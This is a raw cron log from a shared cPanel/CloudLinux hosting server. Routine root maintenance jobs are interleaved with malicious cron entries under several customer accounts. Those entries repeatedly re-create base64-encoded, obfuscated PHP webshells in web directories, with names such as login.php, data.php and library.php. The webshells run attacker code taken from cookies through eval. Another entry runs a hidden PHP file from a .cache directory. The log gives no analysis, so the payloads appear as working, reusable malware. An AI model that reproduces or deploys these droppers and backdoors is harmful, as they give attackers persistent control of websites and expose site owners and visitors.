Mar  1 19:54:02 medusa CROND[8619]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:54:02 medusa CROND[8615]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:54:02 medusa CROND[8616]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:54:02 medusa CROND[8629]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:54:02 medusa CROND[8630]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:54:02 medusa CROND[8631]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:54:02 medusa CROND[8632]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:54:02 medusa CROND[8633]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:55:01 medusa CROND[15844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:55:02 medusa CROND[16044]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:55:02 medusa CROND[16045]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:55:02 medusa CROND[16046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:55:02 medusa CROND[16047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:55:02 medusa CROND[16048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:55:02 medusa CROND[16049]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:55:02 medusa CROND[16051]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:55:02 medusa CROND[16050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:55:02 medusa CROND[16052]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:55:02 medusa CROND[16059]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:55:02 medusa CROND[16060]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:55:02 medusa CROND[16063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:55:02 medusa CROND[16072]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:55:02 medusa CROND[16073]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:55:02 medusa CROND[16076]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:55:02 medusa CROND[16074]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:55:02 medusa CROND[16079]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:55:02 medusa CROND[16081]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:55:02 medusa CROND[16084]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:55:02 medusa CROND[16090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:55:02 medusa CROND[16087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:56:01 medusa CROND[21939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:56:02 medusa CROND[21973]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:56:02 medusa CROND[21974]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:56:02 medusa CROND[21975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:56:02 medusa CROND[21977]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
